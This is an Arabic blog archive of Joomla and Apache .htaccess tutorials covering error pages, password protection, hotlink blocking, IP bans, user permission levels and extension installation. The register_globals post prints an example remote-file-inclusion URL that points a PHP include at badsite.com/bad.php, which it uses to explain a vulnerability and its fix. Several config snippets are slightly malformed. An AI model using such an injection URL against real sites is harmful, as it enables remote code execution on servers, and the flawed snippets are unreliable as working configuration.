الأربعاء، 6 فبراير 2013

شرح أهم أوامر الحماية بملف .htaccess

كيف أنشئ ملف htaccess. جديد ؟
يتم إنشاء ملف htaccess. جديد من خلال أي محرر نصوص .. وليكن مثلا المفكرة notebad .. ومن ثم حفظ الملف بالاسم التالي كاملا :

"htaccess."


مع ملاحظة وجود علامتي التنصيص ..

كيفية عمل صفحات الأخطاء .. custom error messages

بداية لا بد من شرح الأخطاء المحتملة لدخول الزوار إلى صفحات الموقع وهي :
400 - Bad Request .. وتعني طلب خاطئ للصفحة
401 - Authorization Required ... وتعني انه غير مرخص للزائر بعرض الصفحة
403 - Forbidden .. وتعني انه ممنوع للزائر من دخول الصفحة
404 - File not found ... وتعني أن الصفحة التي قام الزائر بطلبها غير موجودة
500 - Internal Server Error وتعني أن هناك خطأ في خادم الموقع
503 - Service Unavailable ... وتعني أن الخدمة غير متوفرة
هذه هي الأخطاء الشائعة وهناك المزيد غيرها ..
ولعمل صفحة الخطأ نكتب في ملف htaccess. الكود التالي :



code:------------------------------------ErrorDocument [error number] [path]--------------------------------------------


ولتفصيل هذا الأمر ..
ErrorDocument .. وهي الدالة الخاصة بصفحة بتعيين صفحة الخطأ .
error number ... رقم الخطأ الذي سيظهر للمتصفح ... كما هو مشروح في الأعلى
path .. مسار الخاص بالصفحة التي ستظهر للزائر عندما يطلب صفحة خطأ .

والأمر بالكامل يكون كالتالي :


code:-------------------------------------ErrorDocument 404 www.youresite.com/404.html
--------------------------------------------



كما تلاحظ .. وضعنا رقم الخطأ ومسار الصفحة الخاصة به ..
ولإدراج بقية الأخطاء ضعها الأوامر في الملف بشكل متتالي .. مثال :


code:------------------------------------------------------ErrorDocument 400www.youresite.com/400.html
ErrorDocument 401 www.youresite.com/401.html
etc ...---------------------------------------------


حماية مجلدات وملفات الموقع ...

هل دخلت مرة إلى صفحة ما في موقع وظهرت لك نافذة تطلب منك إدخال اسم مستخدم وكلمة مرور ؟؟
بالتأكيد مررت على كثير من هذه الصفحات ولم تستطع دخولها .. وذلك لأنها خاصة بمستخدمين معيين .. وما شابه ذلك .. هذا النوع من الحماية يسمى basic HTTP authentication ..
الآن سنتعلم كيف تعمل مثل هذه الصفحات في موقعك ..
لنفرض أن لديك مجلد على الموقع فيه عدة صفحات لا تريد عرضها إلا لمجموعة مستخدمين على نطاق ضيق .. ماذا ستفعل ؟؟

في الواقع هناك الكثير من أنواع الحماية باستخدام لغات البرمجة كـ PHP أو جافا سكربت أو غيرها .. ولكن الأقوى هي الحماية بواسطة أوامر htaccess.
كل ما عليك هو أن تنشئ ملف htaccess. جديد وتضع فيه الكود التالي ثم تضعه في المجلد الذي ترغب بحمايته :


code:--------------------------------------Username1:Password1
Username2:Password2
Username3:Password3-------------------------


طبعا هنا تستبدل Username1 باسم المستخدم و Password1 بكلمة المرور الخاصة به .. وإذا أردت مزيدا من الأمن لكلمة المرور فيمكن أن تشفرها بأحد أدوات تشفير DES المستخدمة في أنظمة يونيكس والمتوفرة بكثرة في مواقع النت .. وفي هذه الحالة طبعا ستضع مكان Password1 كلمة المرور المشفرة .. وعند عملية الدخول سيدخل المستخدم كلمة المرور قبل تشفيرها .. وستظهر في الملف بهذا الشكل تقريبا :


kattan:vrAQKeuzMpslh


طبعا يمكنك وضع أي عدد ترغب به من المستخدمين ...
بعد ذلك سوف تحتاج لوضع الكود الخاص بالقائمة التي ستطلب من المستخدم إدخال الاسم وكلمة المرور وهو الكود التالي :


code:-------------------------------------------AuthUserFile /usr/local/you/safedir/.htpasswd
AuthGroupFile /dev/null
AuthName [أدخل اسم المستخدم و كلمة المرور]
AuthType Basic

order allow,deny
allow from all
require valid-user
-------------------------------------


حيث أن /usr/local/you/safedir/.htpasswd هو مسار ملف htaccess. الذي وضعنا فيه أسماء المستخدمين المصرح لهم بالدخول وكلمات المرور الخاصة بهم ..

ويمكن الدخول للمجلد المحمي مباشرة عن طريق وضع الرابط التالي في المتصفح :


code:--------------------------------------------------------------------------------usernameassword@http://www.website.com/d...--...---------------


فقط ضع اسم المستخدم وكلمة المرور وعنوان الموقع والمجلد المحمي ..

وأما إذا رغبت بحماية أحد ملفات الموقع بحيث يكون تصفح أو تحميل الملف للمجموعة التي حددتها فقط ...فهنا ستستخدم الكود التالي :


code:---------------------------------------------files "prog.exe|pass.php|file.zip">
AuthUserFile [/path/to/file]
AuthType Basic
AuthName [Text that prompts the user]
require valid-user-----------------------------


فقط اكتب عدل أسماء الملفات في السطر الأول كما ترغب .. وفي السطر الثاني تضع مسار ملف htaccess. الذي وضعنا فيه أسماء المستخدمين المصرح لهم بالدخول وكلمات المرور الخاصة بهم .. تماما كما فعلنا في حماية المجلد ..
يمكنك أيضا هنا وضع العدد الذي ترغب به من الملفات لكي تحميها .. أو تجعلها فقط لمجموعة محددة...

توجيه صفحة البداية للموقع أو لمجلد على الموقع

عادة عندما نرفع ملف باسم index.html أو index.php إلى الموقع .. يكون هذا الملف هو الصفحة الرئيسية للموقع ..
الآن هل سألت نفسك لماذا هذه الصفحة ؟؟
للإجابة على سؤالك .. افتح ملف htaccess. الموجود في الموقع .. ستلاحظ فيه كود كالتالي :

DirectoryIndex index.htm index.html index.php

الدالة DirectoryIndex مهمتها التعريف أن أسماء الصفحات التي تلي الدالة هي صفحات البداية للموقع ..
كيف يقرأ ملف htaccess. هذه الدالة :
يبدأ باسم أول صفحة وهي index.htm فإن وجدها على الموقع فسيعتبرها هي ملف الصفحة الرئيسية ..والا سينتقل للاسم الثاني index.html .. وهكذا ..
الآن لنفرض أن صفحة البداية لموقعك اسمها مختلف .. مثلا .. user.htm فهنا ستضع هذا الاسم بعد الدالة DirectoryIndex مباشرا ... وهنا ستكون هذه الصفحة هي صفحة البداية فعلا ..
فالدالة هي :


code:--------------------------------------DirectoryIndex [file]--------------------------------------


ومكان file يكون اسم الصفحة المطلوبة ...

تعريف السرفر المستضيف للموقع بأوامر SSI التي تصممها لموقعك ...

SSI هي اختصار لـ Server Side Includes
وهو بروتوكول خاص بتضمين الكود لجميع الصفحات فإذا أردت مثلا وضع كود معين أو لنفرض هيدر لكل الصفحات فليس من الضروري وضعه في جميع صفحات الموقع وإنما من خلال SSI تضعه في صفحة واحدة ثم تضع شفرة SSI في رأس كل ملف ...
في بعض الأحيان عندما تنشئ صفحة أو برنامج تحتوي على أوامر SSI وترفعها إلى موقعك تجد أن الملف لا يعمل .. والسبب يعود في ذلك إلى عدم تعريف هذا الملف للسرفر ..
كل ما عليك فعله هو تعريف الملف الذي يحتوي على أوامر SSI للسرفر عن طريق ملف htaccess. وذلك بواسطة الكود التالي :



code:---------------------------------AddType text/html [Extension 1] [Extension 2]
AddHandler server-parsed [Extension 1] [Extension 2]-------------------------------------------


حيث أن [Extension 1] و [Extension 2] هي امتداد الملفات التي تريد للسرفر أن يتعرف عليها ليعطيها الصلاحية بتنفيذ أوامر الـ SSI بشكل اتوماتيكي ..

مثال ذلك :


code:-----------------------------------AddType text/html .dhtml .html
AddHandler server-parsed .dhtml .html--------------------------------------------


حيث الملفات التي تعطي أوامر للسرفر باستقبال أوامر الـ SSI هي الملفات التي تنتهي بالامتداد .. dhtml و html

حماية الباندويث في الموقع من الاستهلاك الخارجي

ربما لاحظت في كثير من الأحيان وصلات لصور أو ملفات في موقعك في مواقع أخرى .. وهذا بالطبع قد يتسبب بإيذاء موقعك لأنه سيستهلك الكثير من الباندويث المخصص لك شهريا ..
اذاُ كيف أجعل عرض الصور التي في موقعي لا تتم إلا من خلال الموقع نفسه ..؟ وكذلك تحميل الملفات ..؟

الحل أيضا هنا يكون باستخدام أوامر ملف htaccess.
لحجب الصور عن الظهور في موقع غير موقعك استخدم الكود التالي :


code:--------------------------------------------------------------------------------RewriteEngine on
RewriteCond %{HTTP_REFERER} ^$ [OR]
RewriteCond %{HTTP_REFERER} !^http://site/.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www/.site/.com/.*$ [NC]
RewriteRule .*.([jpg|gif|jpe?g]+)$ - [NC,F]--------------------------------------------------------------------------------


لاحظ أن هذا الكود يحجب كل وصلات الصور الخارجة من موقعك .. ويمنعها من الظهور إلا في موقعك سواء كان :

http://site.com/
أو
http://www.site.com/

فقط عدل الكود السابق وضع مكان site اسم موقعك ..
والدالة الأخيرة في الكود RewriteRule هي لتحديد لاحقات الصور المراد منعها .. ويمكنك الزيادة عليها كما ترغب ..
وأيضا إضافة لاحقات الملفات التي تريد منع تحميلها من موقعك كالملفات المضغوطة zip , rar .. أو اللاحقات التنفيذية .. exe ..
وبذلك لن يتمكن أحد من وضع وصلة في موقعه لبرنامج عندك في الموقع .. وإذا فعل ذلك فلن يعمل معه الرابط .. وعلى الزائر التوجه إلى موقعك والتحميل منه مباشرة ...



توجيه الصفحات القديمة في الموقع ...

لنفرض انه يوجد على الموقع منتدى .. وأعضاؤك يعرفون الرابط المباشر له .. ثم قمت بتغير اسم مجلد المنتدى .. فكيف ستوجه الزوار إلى الرابط الجديد ؟؟
هناك الكثير من الحلول .. منها إضافة تاج في هيدر الصفحة .. ولكن الأفضل أن يتم ذلك عن طريق ملف htaccess. تضعه في نفس المجلد القديم .. ثم تضع فيه الكود التالي :


code:--------------------Redirect /olddirectory/oldfile.html http://yoursite.com/newdirectory/ne...------------


كل ما عليك هو تغير الوصلات في الكود بما يتوافق مع موقعك ...

/olddirectory/oldfile.html تشير إلى الصفحة القديمة
و newdirectory/newfile.html هي العنوان الجديد الذي سيستخدمه زوار الموقع ..


إخفاء محتويات المجلد عن الأعضاء أو نوع معين من الملفات فقط في المجلد ..

إذا كان لديك في الموقع مجلد وتريد إخفاء محتوياته عن الزوار فما هي الحلول المقترحة لذلك ؟؟
لتوضيح الأمر أكثر ..
لنفرض أن لديك مجلد في الموقع تضع فيه ملفات للتحميل بشكل مؤقت أو صور أو ما شابه ذلك .. ولكنك تريد منع الزوار من رؤية محتويات هذا المجلد .. فهناك عدة طرق لذلك منها إعطاء تراخيص 751 لهذا المجلد .. ولكن عن طريق ملف htaccess. تستطيع التحكم بذلك بشكل أكبر بكثير ..
فأنت هنا تستطيع منع الزوار من مشاهدة كل محتويات المجلد .. وذلك بوضع الكود التالي في الملف :


code:---------------------------IndexIgnore *---------------------

لاحظ أن ( * ) تعني جميع الملفات الضمنة داخل المجلد ..
وقد تمنعهم فقط من عرض ملفات الصور وهنا تضع الكود التالي :
IndexIgnore *.gif *.jpg
ويمكنك إضافة ما تريد من لواحق ملفات الصور والملفات الأخرى كـ zip . rar ..


حجب الموقع عن الزوار من دولة معينة أو جعله لزوار دولة معينة أو حجبه عن IP محدد ..

أحيانا يرغب البعض بحجب الموقع عن إحدى الدول .. أو جعله مخصص لدولة معينة أو حتى نطاق معين من الـ IP .. أو قد يسيء شخص ما إلى موقعك ولدى هذا الشخص IP ثابت وتريد منعه من العبث .. ماذا تعمل في مثل هذه الحالات .؟

ملف htaccess. يعينك كثيرا في هذا الأمر ... فإذا أردت حجب الموقع عن IP معين .. فقط ضع في ملف htaccess. الموجود في جذر موقعك الكود التالي :


code:-------------------------------deny from 000.000.000.000 -----------

وأما إذا أردت أن تجعله متاحا لـ IP واحد فقط فهنا ستضع الكود المعاكس التالي :

allow from 000.000.000.000

ويمكن إضافة العدد الذي ترغب به من الـ IP التي تريد حجبها .. فقط قم بوضع كل IP بسطر ..مثال

deny from 212.212.212.1
deny from 212.212.212.2
allow from 212.212.212.1
allow from 212.212.212.2

وفي حال تركت الخانة الأخيرة من رقم الـ IP فارغة فأنت هنا تكون قد منعت نطاق كاملا ( دولة في الغالب ) من تصفح موقعك .. مثال :
deny from 000.000.000.
وكذلك تفعل في حال أردت السماح فقط لنطاق معين في تصفح الموقع ..


code:-------------------------------------------allow from 000.000.000.----------------------


وأما إذا أردت منع الجميع من تصفح الموقع .. فاستخدم الكود التالي :

deny from all

تعريف الخادم بلاحقات الملفات باستخدام Mime Types

في بعض الأحيان قد لا تعمل ملفات MP3 أو الفلاش أو PHP على الخادم .. والسبب في ذلك أن تعريف هذه الملفات غير موجود على الخادم .. فإذا كان الخادم لديك يدعم ملفات MP3 أو PHP ولكن لم تعمل عندك .. فهنا أنت بحاجة إلى تعريف الخادم بها بواسطة Mime Types ...
فعند إضافتها يخبر الخادم المتصفح أن هذا الملف هو ملف MP3 أو ملف فلاش .. وبالتالي يكمل المتصفح المهمة ويقوم بقراءته بالشكل المناسب للملف ..
بالنسبة لـ MIME فهي اختصار لـ Multipurpose Internet Mail Extensions
وهو أحد البروتوكولات المتخصصة بنقل البيانات غير النصية ( كالصور وملفات الفيديو و ملفات الفلاش ) عبر الانترنت سواء كان بالمتصفح أو البريد الالكتروني ( وغالبا يكون للبريد الالكتروني ) ...
ولتعريف ملف فلاش مثلا .. فقط اكتب الكود التالي في ملف htaccess.


code:-----------------------------------AddType application/x-shockwave-flash swf ----------------------------------


بافتراض أن shockwave هو اسم الملف ..

ولتعريف ملف midi استخدم الكود التالي :

---------------------------------AddType audio/x-midi mid-------


ولتعريف ملفات ريل بلير استخدم الكود التالي :

AddType audio/x-pn-realaudio .real

وبنفس المبدأ والطريقة تعمل مع بقية الملفات التي لم تعمل إلا بتعريفها .. ولكن عادة تكون هذه الأشياء معرفة بشكل افتراضي ولا حاجة إلى تعريفها إلا إذا دعت الحاجة إلى ذلك ..

أخيرا .. هذه أغلب استخدامات ملف htaccess. وقد يكون له استخدامات أخرى غير شائعة كثيرا ..

ملاحظة: العبارة التالية
code:---------------------
تعني ما يقوم به الكود وليس الكود نفسه وتستحدم للدلالة على بداية الكود أيضا في السطر الذي يليه

و العبارة التالية
----------------------
تعني إنتهاء الكود السابق

الأحد، 3 فبراير 2013

تحديد او تقليص عدد حروف نص المقدمة الي عدد ثابت


السلام عليكم 

الموضوع ده كان يهمني و اتمني اني افيد بيه حد كان بيدور عليه زيي
 
باختصار شديد كتير بيدور ان يبقي المواد بتظهر في شكل جدول منسق بحيث ما يزيدش طول مقالة عن التانية في حالة انه عمل شكل الصفحة كعمودين
وده الحل عن طريق تحديد قيمة محددة لعدد الحروف اللي تظهر من نص المقدمة
كل اللي عليك كتابة الموضوع و بعدين تحديد نص المقدمة في اي مكان حتي لو حسيت انه زيادة ما يهمكش

هتلاقيهم الاول نصوص بحجم مختلف كالعادة
 
نروح بقي للحل

لصفحات الاقسام
افتح ملف :
\components\com_content\views\category\tmpl\blog_item.php

ابحث عن :
Code:
<?php echo $this->item->text; ?>


قم باستبداله بـ:
Code:
<?php
$limit =100;
if (strlen($this->item->text) > $limit) {
echo (substr($this->item->text, 0, $limit)) . " ... ";
}
else {
echo $this->item->text;
}
?>


للصفحة الرئيسية :
افتح ملف:
\components\com_content\views\frontpage\tmpl\default_item.php

ابحث عن :
Code:
<?php echo $this->item->text; ?>


قم باستبداله بـ:
Code:
<?php
$limit =100;
if (strlen($this->item->text) > $limit) {
echo (substr($this->item->text, 0, $limit)) . " ... ";
}
else {
echo $this->item->text;
}
?>


وهكذا للارشيف او لصحات التصنيفات
ستجد مجلدات باسمائهم في مجلد
 
\components\com_content\views\
الرئيسي
اتمني انني اكون وصلت مساعدة للناس هنا لانني استفدت في الاول و بتمني افيد دلوقتي

اتمني اشوف اي تعليق او نقد او اقتراح علي الكود
 

مستويات وصلاحيات المستخدمين والمديرين فى جملة


بسم الله الرحمن الرحيم

مستويات وصلاحيات المستخدمين والمديرين فى جملة

(1) مستخدمى الواجهة الأمامية للموقع فقط وليس لوحة التحكم :

Public Front-end
مجرد تسمية للزائر العادى الغير مسجل و ليس له أى مميزات بخلاف استعراض محتويات الموقع العمومية المتاحة للزائرين

Registered 
عضو مسجل مسموح له بتسجيل الدخول الى الموقع كعضو
لا يستطيع اضافة مقالات او موضوعات بالموقع
لكن له ميزة استعراض مناطق و صفحات و خدمات مخصصة لأعضاء الموقع فقط مثل المشاركة فى المنتدى او قسم الدونلود

Author 
المؤلف ، 
اولا له صفة العضو المسجل
ثانيا مسموح له بكتابة موضوعات ومحتويات وادخالها الى ان يتم الموافقة عليها للنشر او رفضها
ثالثا مسموح له باستعراض والتعديل فى الموضوعات المنشورة فقط والخاصة به فقط وليست الموضوعات التى مازالت تحت المراجعة ، وليست موضوعات الآخرين

Editor 
المحرر
اولا له صفة العضو المسجل
ثانيا مسموح له بكتابة موضوعات ومحتويات وادخالها الى ان يتم الموافقة عليها للنشر او رفضها
ثالثا مسموح له باستعراض والتعديل فى الموضوعات المنشورة والغير منشورة سواء الخاصة به أو موضوعات الآخرين
بدون القدرة على تغيير حالة النشر للموضوعات سواء الخاصة به أو موضوعات الآخرين

Publisher 
الناشر
اولا له صفة العضو المسجل
ثانيا مسموح له بكتابة موضوعات ومحتويات وادخالها ونشرها فورا
ثالثا مسموح له باستعراض والتعديل والنشر والغاء النشر لجميع الموضوعات المدخلة من جميع المستويات السابق ذكرها
رابعا مسموح له بالتحكم فى نوعية النشر لجميع الموضوعات بحيث يحدد من هو المستوى المسموح له بمشاهدتها ومن غير المسموح له

يلاحظ ضرورة عمل قائمة جديدة فى الواجهة الأمامية للموقع يتاح من خلالها التحكم فى الموضوعات الغير منشورة

(2) مستويات الادارة الذين لهم صلاحية دخول لوحة التحكم :
Public Back-end
مجرد تسمية غير مستخدمة ولا يوجد لها فعالية فى جميع الاصدارات حتى تاريخه وهى تعتبر مجرد تصنيف

Manager 
مدير تحرير
= اختصاصاته تنصب على محتويات وموضوعات وأقسام وابواب الموقع فقط
= مسموح له بمشاهدة و تعديل و انشاء و حذف كل ما يتعلق بالمحتويات او الموضوعات ، الصفحة الأولى ، و قوائم الموقع
كذلك له حق انشاء و تعديل و حذف السكشنز Sections والكاتيجوريز Categories
= غير مسموح له بالتحكم فى أمور عضوية الموقع ولا الأمور الإنشائية والتصميمية والاضافات وخلافه
= يمكن اعتباره Publisher يمارس اختصاصاته من لوحة التحكم بدلا من الواجهة الامامية 
= اذا قام بتسجيل دخوله من الواجهة الامامية تكون له نفس صلاحيات الناشر تماما Publisher 

Administrator 
مدير الموقع
له كافة الصلاحيات
 ماعدا :
= التعديل فى تمبليت الموقع أو اضافة تمبليت جديدة
= التعديل فى اختيارات الاعدادت الكلية للموقع Global configuration options
= استعراض او التعديل فى اى اعدادات بخصوص عضوية المدير العام Super Administrator

= اذا قام بتسجيل دخوله من الواجهة الامامية تكون له نفس صلاحيات الناشر تماما ، مثله مثل مدير التحرير Manager 

Super Administrator
رئيس الموقع
له كافة الصلاحيات بلا أى حدود أو استثناءات
= اذا قام بتسجيل دخوله من الواجهة الامامية تكون له نفس صلاحيات الناشر تماما ، مثله مثل مدير التحرير Manager 
= يستطيع أيضا التحكم فى اعدادات زملائه من نفس المستوى Super Administrators
( يعنى ممكن يعمل انقلاب فى أى لحظة و ينفرد بالسلطة - احترسوا من اعطاء هذا التصريح لأحد قبل التفكير العميق )


(3) تصنيف الموضوعات بالنسبة لمستوى صلاحية المستخدم
عند انشاء موضوع يمكن التحكم فى من هم المسموح لهم باستعراضه
من خلال تحديد واحد من هذه الخيارات ، و كذلك يمكن تعديلها فيما بعد

Public
الجميع بما فيهم زوار الموقع يستطيعون مشاهدة الموضوع
Registered
الأعضاء المسجلين فقط وما فوق مستواهم ، يستطيعون مشاهدة الموضوع
Special
اسرة التحرير والادارة فقط ، ابتداء من المؤلف وانتهاء برئيس الموقع ، يستطيعون مشاهدة الموضوع

Register Globals س : ما هي


مقدمة:

من الاعدادات المستخدمة في الـ php يوجد اعداد يعرف بالـ register_globals.
وظيفته تكمن في التسهيل على المبرمج حيث يقوم بتعريف المتغيرات المدخلة من المستخدم بطريقتي Post و Get في النطاق العام,و هنا تكمن الخطورة , فيما يلي مثال يوضح هذا



مثال:
لنفترض أن هناك تطبيق يسمى X وهذا التطبيق مكتوب بطريقة غير آمنة و يحتوي على السطر التالي
Code:
include  $mosConfig_absolute_path . '/components/com_X/XFile.php' );
كما هو واضح يقوم هذا السطر بادراج ملف الـ php المدعو Xfile.php في التطبيق

لنفترض أن أحدا الأشرار حاول مهاجمة هذا التطبيق باستخدام الـ url التالي
Code:
http:/ /www.example.com/components/com_x/x.php?mosConfig_absolute_path=http://www.badsite.com/bad.php
في حالة وجود الـ register_globals سيقوم الـ php مشكورا بتعريف المنغيير mosConfig_absolute_path في النطاق العام,طبعا المتغيير mosConfig_absolute_path هو اسم متغيير مستعمل من قبل و بالتالي يقوم php بتغيير قيمته الى h t t p://w w w. badsite . com/ bad . php .
و عندما يقوم جملة بتنفيذ السطر
Code:
include  $mosConfig_absolute_path . '/components/com_X/XFile.php' );
تكون نتيجة التعويض
Code:
include  http://www.badsite.com/bad.php. '/components/com_X/XFile.php' );
أي ادراج ملف PHP من موقع آخر و يتم تنفيذ الأوامر التي يحتويها على السرفر الخاص بك و في الأغلب لن تكون أوامر مسالمة 



ما موقعنا نحن من هذه المشكلة:
اعدادات جملة الافتراضية تشغل أو تحاكي تشغيل register_globals لانه بالرغم من خطورته الا أن هناك تطبيقات تعتمد عليه "أظن joomlaboard  يعتمد عليه".



الحل:
فنح لوحة التحكم بجملة والذهاب الى
Site -> Global Configuration
ثم إخنتيار tab Server
وتعديل Register Globals Emulation الى OFF


هذا الحل سيعمل بشكل جيد اذا كنت لا تستعمل تطبيقات تعتمد على هذه الخاصية,أما اذا واجهتك مشاكل بعد تعطيل الـ RG_EMULATION فلا حل الا اعادة تشغيله مرة أخرى و ترقية التطبيقات التي حدثت بها المشاكل الى آخر اصدار "حتى تأمن شر الـ RG " أو الانتقال الى غيرها ان وجدت البدائل.



تعديل dr_drsh : تعديل العنوان حتى يظهر بشكل صحيح "عندما يكتب من اليسار الي اليمين"ـ

الإضافات - ماهي وكيفية تنصيبها


لسلام عليكم
من الأسئلة المتكررة دائما كيفية تنصيب إضافات بجملة
الإضافات تنقسم الى 3 أنواع

Components : وهو عبارة عن إضافة أو برنامج تستخدم عناصر جملة الأساسية ووظائفها .
مثال : الإستفتاء - الإعلانات - مكتبة الروابط
طريقة العرض : تجده في موقع الإضافات يحمل هذا الشكل 
Image
طريقة التنصيب : من خلال ال Administration Panel بجملة إذهب الى : Installer ثم Component . بعد ذلك إستعرض ملف ال Component وإضغط Install من أجل التنصيب



Modules : عبارة عن عناصر صغيرة يتم عرضها في أماكن معينة في القالب
مثال : القوائم - ال module المستخدم لعرض الإستفتاء - الجزء الخاص بتسجيل الدخول 
طريقة العرض : تجده في موقع الإضافات يحمل هذا الشكل 
Image
طريقة التنصيب : من خلال ال Administration Panel بجملة إذهب الى : Installer ثم Modules. بعد ذلك إستعرض ملف ال Module وإضغط Install من أجل التنصيب




Mambots / Plugins : عبارة عن وظائف تعمل بطريقة معينة لهدف معين
مثال : البحث - المحرر الإفتراضي بجملة
طريقة العرض : تجده في موقع الإضافات يحمل هذا الشكل 
Image
طريقة التنصيب : من خلال ال Administration Panel بجملة إذهب الى : Installer ثم Mambots. بعد ذلك إستعرض ملف ال Mambot وإضغط Install من أجل التنصيب



ملاحظات
1 - ملفات الإضافات غالبا ما تحمل إسم يعبر عن نوع هذه الإضافة
مثلا ال compoment يبدأ إسمه ب com_ - ال Module يبدأ إسمه ب mod_ - ال mambot يبدأ إسمه ب bot_
هذه ليست قاعدة عامة ولكن العديد من المطورين يتبعونها

2 - يمكن ل extension أن يستخدم أكثر من إضافة
مثلا إضافات التعليقات
يستخدم component لتنظيم التطبيق نفسه
ويستخدم mambot لعرض حقول إضافة التعليق في نهاية المقال
ويستخدم modules مثلا لعرض أخر التعليقات في الموقع

وهكذا

3 - بعض extensions التي تستخدم أكثر من نوع من الإضافات ( component - module - mambot ) يكون الملف المضغوط يحتوي على كل هذه الإضافات مجمعة ويحتاج لفك ضغط الملفات قبل تحميلها

4 - لابد من التأكد أن المستضيف لا يستخدم ال Safe Mode في إعدادات ال PHP يمكنك التأكد من خلال الذهاب الى لوحة التحكم ومن ثم System -> System Info